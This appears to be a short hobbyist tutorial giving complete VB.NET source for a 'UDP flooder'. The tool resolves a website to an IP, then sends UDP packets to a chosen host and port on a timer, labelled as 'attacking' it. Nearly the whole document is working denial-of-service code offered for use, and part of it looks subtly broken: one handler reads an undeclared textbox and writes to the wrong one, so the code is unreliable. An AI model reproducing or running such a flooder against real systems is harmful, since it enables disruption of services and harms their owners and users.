BenAndChris UDP Flooder Tutorial

You Need:
-1 Timer
-1 Listbox named Data
-3 buttons (Button1 is attack, Button2 is stop, and Button3 is Get IP)
-5 Textboxes (TextBox1 is IP, TextBox2 is Port, TextBox3 is Message, TextBox4 is URL Input, TextBox5 is URL IP Output)
-3 Labels (Optional)




-----------------------------------------------------------------------------------------------------------------------------------

Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try

            Data.Items.Add("Attacking " + TextBox1.Text + " With Data ")
            Data.Items.Add(My.Computer.Info.AvailableVirtualMemory)
            Data.Items.Add("")
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, TextBox2.Text)
            bytCommand = Encoding.ASCII.GetBytes(TextBox3.Text)
            udpClient.Send(bytCommand, bytCommand.Length)
        Finally

        End Try

    End Sub

    Private Sub Data_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Data.SelectedIndexChanged

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim hostname As IPHostEntry = Dns.GetHostEntry(txtWebsiteURL.Text)
        Dim ip As IPAddress() = hostname.AddressList
        TextBox4.Text = ip(0).ToString
    End Sub
End Class